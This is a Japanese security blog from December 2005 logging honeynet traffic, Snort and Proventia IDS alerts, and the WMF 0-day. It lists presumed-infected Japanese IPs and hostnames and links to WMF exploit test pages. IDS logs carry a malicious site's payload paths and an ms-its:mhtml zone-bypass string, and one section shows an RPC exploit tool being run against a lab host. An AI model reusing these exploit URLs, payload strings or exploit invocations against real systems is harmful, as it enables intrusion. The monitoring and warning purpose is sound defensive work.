来年もセキュリティ物置を見てくださいね♪

ではでは、そろそろ準備して行って来ます。

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

58.92.88.251	p1251-ipbf09takakise.saga.ocn.ne.jp
61.116.136.72	KKRfa-01p1-72.ppp11.odn.ad.jp
61.193.74.249	FLH1Aab025.iba.mesh.ad.jp
61.197.9.251	pl763.nas926.te-fukuoka.nttpc.ne.jp
61.205.2.17	61-205-2-17.eonet.ne.jp
61.205.45.221	221.45.205.61.west.flets.alpha-net.ne.jp
61.207.106.32	p7032-ipad01aobadori.miyagi.ocn.ne.jp
61.210.15.241	ntoska128241.oska.nt.adsl.ppp.infoweb.ne.jp
61.210.191.42	ntkngw037042.kngw.nt.adsl.ppp.infoweb.ne.jp
61.211.32.169	pd320a9.tokynt01.ap.so-net.ne.jp
61.213.26.230	3dd51ae6.catv296.ne.jp
61.213.30.92	3dd51e5c.catv296.ne.jp
61.213.37.231	3dd525e7.catv296.ne.jp
61.213.39.20	3dd52714.catv296.ne.jp
61.213.70.153	j070153.ppp.asahi-net.or.jp
61.213.75.72	j075072.ppp.asahi-net.or.jp
61.213.75.162	j075162.ppp.asahi-net.or.jp
61.213.88.225	j088225.ppp.asahi-net.or.jp
61.213.93.55	j093055.ppp.asahi-net.or.jp
61.213.93.191	j093191.ppp.asahi-net.or.jp
61.213.99.68	j099068.ppp.asahi-net.or.jp
61.213.108.185	j108185.ppp.asahi-net.or.jp
61.213.109.176	j109176.ppp.asahi-net.or.jp
61.213.110.141	j110141.ppp.asahi-net.or.jp
61.213.119.200	j119200.ppp.asahi-net.or.jp
61.214.52.98	p2098-ipad03kyoto.kyoto.ocn.ne.jp
61.214.78.147	p3147-ipad01motosinmat.mie.ocn.ne.jp
61.215.235.100	u100.d235215061.ctt.ne.jp
218.224.122.180	p5180-ip01yosida.nagano.ocn.ne.jp
220.209.95.206	ntkngw087206.kngw.nt.adsl.ppp.infoweb.ne.jp
222.14.124.127	ZR124127.ppp.dion.ne.jp

【情報】IE WMF Remote Code (0day)

■動画(感染事例)

http://www.websensesecuritylabs.com/images/alerts/wmf-movie.wmv

■ブログ

http://kikuz0u.x0.com/td/?date=20051228#p01

http://grin.flagbind.jp/archives/exploit/index.html

http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2005/12.html#20051228_WMF

http://www.exconn.net/Blogs/team02/archive/2005/12/29/5896.aspx

■テストサイト

http://kikuz0u.x0.com/wmf_exp.html

http://grin.flagbind.jp/runcalc.wmf

■IDSでの検知

・Provenita

XPU 24.25 / 12/28/05　 Image_WMF_RecordSize_Overflowで対応

http://xforce.iss.net/xforce/xfdb/22877

Event Number : 1
Date/Time : 2006-01-04 21:52:53 JST
Tag Name : Image_WMF_Generic_RecordSize_Overflow
Alert Name : Image_WMF_Generic_RecordSize_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.106
Target Object Name : 8914
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 59.106.19.48
SourcePort Name : 80
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :code
Attribute Value : 200
Attribute Name : :file-format
Attribute Value : wmf
Attribute Name : :function
Attribute Value : 0x4A43
Attribute Name : :intruder-ip-addr
Attribute Value : 59.106.19.48
Attribute Name : :intruder-port
Attribute Value : 80
Attribute Name : :maxrecordsize
Attribute Value : 0x7A
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :recordsize
Attribute Value : 0xFFFFFFFF
Attribute Name : :server
Attribute Value : kikuz0u.x0.com
Attribute Name : :URL
Attribute Value : /wmf_exp.wmf
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.106
Attribute Name : :victim-port
Attribute Value : 8914
Attribute Name : algorithm-id
Attribute Value : 2121043
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 59.106.19.48
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.106
Attribute Name : Packet SourcePort
Attribute Value : 8914

「http://beehappyy.biz/parthner3/ 」のサイトでの検知状況を確認したところ、既存のシグネチャで

以下の様に検知しました。

High	2005-12-29 14:11:27 JST	HTTP_IERedir_Zone_Bypass	beehappyy.biz	/parthner3/free.anr	ms-its:mhtml:file://C:\\MAIN.MHT!http://www.beehappyy.biz//main.chm::/main.htm
High	2005-12-29 14:11:27 JST	HTTP_IERedir_Zone_Bypass	beehappyy.biz	/parthner3/xpl.wmf	ms-its:mhtml:file://C:\\MAIN.MHT!http://www.beehappyy.biz//main.chm::/main.htm
Medium	2005-12-29 14:13:26 JST	PE_Overlapping_Header	www.beehappyy.biz	/msits.exe	N/A
Medium	2005-12-29 14:13:33 JST	PE_Overlapping_Header	www.beehappyy.biz	/software/soc.exe	N/A
High	2005-12-29 14:45:28 JST	HTTP_IERedir_Zone_Bypass	beehappyy.biz	/parthner3/free.anr	ms-its:mhtml:file://C:\\MAIN.MHT!http://www.beehappyy.biz//main.chm::/main.htm
High	2005-12-29 14:45:28 JST	HTTP_IERedir_Zone_Bypass	beehappyy.biz	/parthner3/xpl.wmf	ms-its:mhtml:file://C:\\MAIN.MHT!http://www.beehappyy.biz//main.chm::/main.htm
Medium	2005-12-29 14:46:07 JST	PE_Overlapping_Header	www.beehappyy.biz	/msits.exe	N/A
Medium	2005-12-29 14:46:38 JST	PE_Overlapping_Header	www.beehappyy.biz	/software/soc.exe	N/A

・snort(既存シグネチャでの検知)

[**] [1:2436:4] WEB-CLIENT Microsoft wmf metafile access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/29-10:26:58.958305 192.168.37.180:1107 -> 202.181.105.180:80
TCP TTL:128 TOS:0x0 ID:1457 IpLen:20 DgmLen:360 DF
***AP*** Seq: 0xCEA92F3B Ack: 0xAA1DD372 Win: 0xFAF0 TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0906][Xref => http://www.securityfocus.com/bid/9707][Xref => http://www.securityfocus.com/bid/10120 ]

・WMF exploit signature

http://www.bleedingsnort.com/forum/viewtopic.php?forum=3&showtopic=1544

■ウィルス対策

AntiVir TR/Dldr.WMF.Small
Dr Web Exploit.MS05-053
F-Secure Exploit.Win32.Agent.r
Fortinet W32/WMF-exploit
Kaspersky Exploit.Win32.Agent.r
McAfee (BETA) Exploit-WMF trojan
Symantec (BETA) Download.Trojan

■ニュース

http://www.itmedia.co.jp/enterprise/articles/0512/28/news039.html

http://www.heise.de/newsticker/meldung/67794

■ベンダー

http://www.microsoft.com/technet/security/advisory/912840.mspx

http://xforce.iss.net/xforce/alerts/id/211

http://www.f-secure.com/weblog/archives/archive-122005.html#00000752

http://isc.sans.org/diary.php?storyid=972

http://secunia.com/advisories/18255/

■BugTraq

http://www.securityfocus.com/archive/1/420288/30/0/threaded

http://www.securityfocus.com/archive/1/420352/30/0/threaded

http://www.securityfocus.com/archive/1/420351/30/0/threaded

http://www.securityfocus.com/archive/1/420367/30/0/threaded

http://www.securityfocus.com/archive/1/420368/30/0/threaded

【サイバー犯罪事件簿】2005年12月27日

----------------------------
■あまてらす
----------------------------

今日で仕事納めです。今年は仕事であまり成果を上げる事ができなかったような気がしています。

来年もがんばろう～～と♪

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.87.45.149	149.45.87.61.ap.seikyou.ne.jp
61.125.218.5	i218005.ppp.asahi-net.or.jp
61.126.193.142	p4142-ipbf1001marunouchi.tokyo.ocn.ne.jp
61.193.74.249	FLH1Aab025.iba.mesh.ad.jp
61.193.101.139	FLA1Aah139.kng.mesh.ad.jp
61.210.3.93	ntaich025093.aich.nt.adsl.ppp.infoweb.ne.jp
61.210.180.215	nthygo025215.hygo.nt.adsl.ppp.infoweb.ne.jp
61.211.32.169	pd320a9.tokynt01.ap.so-net.ne.jp
61.213.28.48	3dd51c30.catv296.ne.jp
61.213.29.121	3dd51d79.catv296.ne.jp
61.213.30.92	3dd51e5c.catv296.ne.jp
61.213.33.194	3dd521c2.catv296.ne.jp
61.213.37.231	3dd525e7.catv296.ne.jp
61.213.39.20	3dd52714.catv296.ne.jp
61.213.45.123	61-213-45-123.catv296.ne.jp
61.213.70.127	j070127.ppp.asahi-net.or.jp
61.213.89.115	j089115.ppp.asahi-net.or.jp
61.213.93.137	j093137.ppp.asahi-net.or.jp
61.213.93.142	j093142.ppp.asahi-net.or.jp
61.213.100.253	j100253.ppp.asahi-net.or.jp
61.213.101.46	j101046.ppp.asahi-net.or.jp
61.213.102.101	j102101.ppp.asahi-net.or.jp
61.213.109.176	j109176.ppp.asahi-net.or.jp
61.213.110.141	j110141.ppp.asahi-net.or.jp
61.213.117.12	j117012.ppp.asahi-net.or.jp
61.213.212.8	b-fa3-5008.noc.ntt-west.nsk.ne.jp
61.213.212.24	b-fa3-5024.noc.ntt-west.nsk.ne.jp
61.215.235.100	u100.d235215061.ctt.ne.jp
210.159.206.188	PPPf90.hokkaido-ip.dti.ne.jp
221.113.18.196	p018196.ppp.asahi-net.or.jp

■Report
- Honeynet: 192.168.37.0/24
- Starting Date: 20051227 (inclusive)
- Ending Date: 20051228 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.gpk13584

Total pcap records processed: 7,288
Total snort records processed: 2,326

========================================
Summary
=======

Remote IP Count: 234
Ports Scanned: 35

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 3930 24962 19935 3342893 1222023
Outbound 41 190 190 125335 125335

Total Snort SIDs: 19
Total Snort Alerts: 2326

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
1351 2 (spp_stream4) possible EVASIVE RST detection
661 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
125 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
70 2924 NETBIOS SMB-DS repeated logon failure
51 402 ICMP Destination Unreachable Port Unreachable
20 16 (spp_stream4) TCP CHECKSUM CHANGED ON RETRANSMISSION (possible fragroute) detection
12 1390 SHELLCODE x86 inc ebx NOOP
9 2466 NETBIOS SMB-DS IPC$ unicode share access
7 648 SHELLCODE x86 NOOP
4 2472 NETBIOS SMB-DS C$ unicode share access
3 2003 MS-SQL Worm propagation attempt

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
1351 2 (spp_stream4) possible EVASIVE RST detection
20 16 (spp_stream4) TCP CHECKSUM CHANGED ON RETRANSMISSION (possible fragroute) detection
51 402 ICMP Destination Unreachable Port Unreachable
1 538 NETBIOS SMB IPC$ unicode share access
7 648 SHELLCODE x86 NOOP
1 1042 WEB-IIS view source via translate header
2 1330 WEB-ATTACKS wget command attempt
12 1390 SHELLCODE x86 inc ebx NOOP
3 2003 MS-SQL Worm propagation attempt
3 2004 MS-SQL Worm propagation attempt OUTBOUND
3 2050 MS-SQL version overflow attempt
1 2351 NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode
125 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
661 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
9 2466 NETBIOS SMB-DS IPC$ unicode share access
4 2472 NETBIOS SMB-DS C$ unicode share access
1 2923 NETBIOS SMB repeated logon failure
70 2924 NETBIOS SMB-DS repeated logon failure
1 3000 NETBIOS SMB Session Setup NTMLSSP unicode asn1 overflow attempt

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/445 24182 2130261 1431
tcp/139 8409 56052 1355
tcp/1433 5686 163771 396
udp/1026 178 80334 155
udp/1027 154 70074 138
tcp/80 1288 393732 126
tcp/135 4334 1617942 121
tcp/6881 226 0 72
tcp/4899 78 0 15
tcp/1025 159 18168 13

========================================
All Scanned Ports:
==================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/21 32 927 1
tcp/22 20 0 10
tcp/42 5 0 1
tcp/80 1288 393732 126
tcp/135 4334 1617942 121
tcp/139 8409 56052 1355
tcp/445 24182 2130261 1431
tcp/1025 159 18168 13
tcp/1063 1 0 1
tcp/1065 1 0 1
tcp/1080 8 0 2
tcp/1433 5686 163771 396
tcp/3306 10 0 2
tcp/3372 2 0 1
tcp/3389 16 0 8
tcp/4899 78 0 15
tcp/6129 6 0 1
tcp/6424 6 0 1
tcp/6881 226 0 72
udp/2 7 2462 7
udp/135 2 232 1
udp/137 22 3861 12
udp/1026 178 80334 155
udp/1027 154 70074 138
udp/1028 6 3236 6
udp/1029 8 2823 8
udp/1030 6 3221 6
udp/1031 2 1262 2
udp/1032 11 3896 7
udp/1033 7 2452 6
udp/1434 13 4888 13
udp/4073 1 346 1
udp/4081 7 2472 7
udp/4257 4 2504 4
icmp/0 1 392 1

【MS】MS03-039

■脆弱性の説明MSMS03-039

http://www.microsoft.com/japan/technet/security/Bulletin/MS03-039.mspx

■実証コード

C:\C>rpc3.exe
RPC universal exploit. Exploit MS09-039 vulnerability
unpatched host - to codee xecution
patched host - to DoS
based on original XFocus RPCDCOM2 exploit
modification and shellcode (c) by karlss0n
published by www.security.nnov.ru

usage: rpc3.exe <target_ip>

C:\C>rpc3.exe 192.168.221.180
192.168.221.180
192.168.221.180 - send exploit to Win2K
735

■Proventia

優先度	シグネチャ名	件数
High	MSRPC_RemoteActivate_Path_BO	797
Low	DCOM_SystemActivation	736

■snort検知

12/27-07:35:42.068038 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.214522 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.259442 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.407858 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.452763 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.601185 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.794524 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135
12/27-07:35:42.946858 [**] [1:2351:10] NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.221.11:1079 -> 192.168.37.180:135

【サイバー犯罪事件簿】2005年12月26日

----------------------------
■あまてらす
----------------------------

携帯電話を新しくしました。なかなかおしゃれな携帯です。

お気に入りは、「iチャネル」です。ニュース、スポーツ＆芸能情報などの最新コンテンツが月額157.5円（税込）で利用可能です。最新ニュースが新聞を買わなくても読めるので通勤時間を有効に活用できますよ♪

http://www.nttdocomo.co.jp/service/imode/ichannel/index.html

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

61.44.110.110 110.110.44.61.fbb.aol.co.jp
61.89.217.251 catv61-89-217-251.sensyu.ne.jp
61.114.196.156 h196156.ppp.asahi-net.or.jp
61.125.36.162 z162.61-125-36.ppp.wakwak.ne.jp
61.125.225.224 i225224.ppp.asahi-net.or.jp
61.195.7.249 PPPa2249.tokyo-ip.dti.ne.jp
61.202.4.81 N004081.ppp.dion.ne.jp
61.203.161.35 35.161.203.61.ap.yournet.ne.jp
61.205.163.121 zaq3dcda379.zaq.ne.jp
61.207.206.85 p4085-ipad01sasajima.aichi.ocn.ne.jp
61.209.66.136 CBCnni-03S1p136.ppp12.odn.ad.jp
61.209.164.170 OFSfa-02p5-170.ppp11.odn.ad.jp
61.210.14.11 ntoska127011.oska.nt.adsl.ppp.infoweb.ne.jp
61.211.140.111 a140111.usr.starcat.ne.jp
61.213.71.15 j071015.ppp.asahi-net.or.jp
61.213.71.202 j071202.ppp.asahi-net.or.jp
61.213.73.8 j073008.ppp.asahi-net.or.jp
61.213.75.234 j075234.ppp.asahi-net.or.jp
61.213.88.201 j088201.ppp.asahi-net.or.jp
61.213.93.219 j093219.ppp.asahi-net.or.jp
61.213.108.166 j108166.ppp.asahi-net.or.jp
61.213.109.176 j109176.ppp.asahi-net.or.jp
61.213.110.141 j110141.ppp.asahi-net.or.jp
61.213.117.211 j117211.ppp.asahi-net.or.jp
61.213.118.167 j118167.ppp.asahi-net.or.jp
61.213.119.20 j119020.ppp.asahi-net.or.jp
61.213.119.128 j119128.ppp.asahi-net.or.jp
61.214.98.112 p4112-ipad02niho.hiroshima.ocn.ne.jp
203.140.170.106 106170.140203.hyogo.h555.net
219.17.216.4 softbank219017216004.bbtec.net
220.221.164.109 i220-221-164-109.s02.a019.ap.plala.or.jp

------------------------------------

■Report

------------------------------------
- Honeynet: 192.168.37.0/24
- Starting Date: 20051226 (inclusive)
- Ending Date: 20051227 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.mSRK3664

Total pcap records processed: 3,344
Total snort records processed: 116

========================================
Summary
=======

Remote IP Count: 194
Ports Scanned: 42

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 1309 8465 6887 1289445 570654
Outbound 27 169 169 66868 66868

Total Snort SIDs: 11
Total Snort Alerts: 116

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
52 402 ICMP Destination Unreachable Port Unreachable
20 1390 SHELLCODE x86 inc ebx NOOP
12 2 (spp_stream4) possible EVASIVE RST detection
6 2050 MS-SQL version overflow attempt
6 2004 MS-SQL Worm propagation attempt OUTBOUND
6 2003 MS-SQL Worm propagation attempt
4 2466 NETBIOS SMB-DS IPC$ unicode share access
4 648 SHELLCODE x86 NOOP
2 2351 NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode
2 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
2 1042 WEB-IIS view source via translate header

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
12 2 (spp_stream4) possible EVASIVE RST detection
52 402 ICMP Destination Unreachable Port Unreachable
4 648 SHELLCODE x86 NOOP
2 1042 WEB-IIS view source via translate header
20 1390 SHELLCODE x86 inc ebx NOOP
6 2003 MS-SQL Worm propagation attempt
6 2004 MS-SQL Worm propagation attempt OUTBOUND
6 2050 MS-SQL version overflow attempt
2 2351 NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode
2 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
4 2466 NETBIOS SMB-DS IPC$ unicode share access

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/139 7379 721723 377
tcp/445 4612 523224 274
udp/1026 141 63681 137
udp/1027 141 63985 136
tcp/6881 406 0 106
tcp/135 833 54362 79
tcp/80 554 108604 60
tcp/4899 102 0 20
tcp/1025 195 20924 16
tcp/1433 429 25629 15

========================================
All Scanned Ports:
==================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/21 8 58 1
tcp/22 6 0 3
tcp/25 14 352 1
tcp/80 554 108604 60
tcp/113 1 0 1
tcp/135 833 54362 79
tcp/139 7379 721723 377
tcp/143 6 0 1
tcp/445 4612 523224 274
tcp/1025 195 20924 16
tcp/1041 1 0 1
tcp/1071 307 252372 1
tcp/1076 1 0 1
tcp/1080 4 0 1
tcp/1433 429 25629 15
tcp/1613 1 0 1
tcp/1813 2 0 1
tcp/2100 8 0 2
tcp/3306 12 0 2
tcp/3389 8 0 2
tcp/4444 30 0 5
tcp/4899 102 0 20
tcp/5000 36 0 6
tcp/5114 6 0 1
tcp/5651 6 0 1
tcp/6881 406 0 106
tcp/6999 6 0 1
tcp/8080 12 0 2
udp/2 3 1053 3
udp/137 30 5265 9
udp/500 5 920 1
udp/1026 141 63681 137
udp/1027 141 63985 136
udp/1028 4 1964 4
udp/1029 5 2310 5
udp/1030 3 1048 3
udp/1031 5 2870 5
udp/1032 2 1252 2
udp/1033 1 906 1
udp/1434 15 5640 15
udp/4081 5 1770 5
udp/6999 7 187 2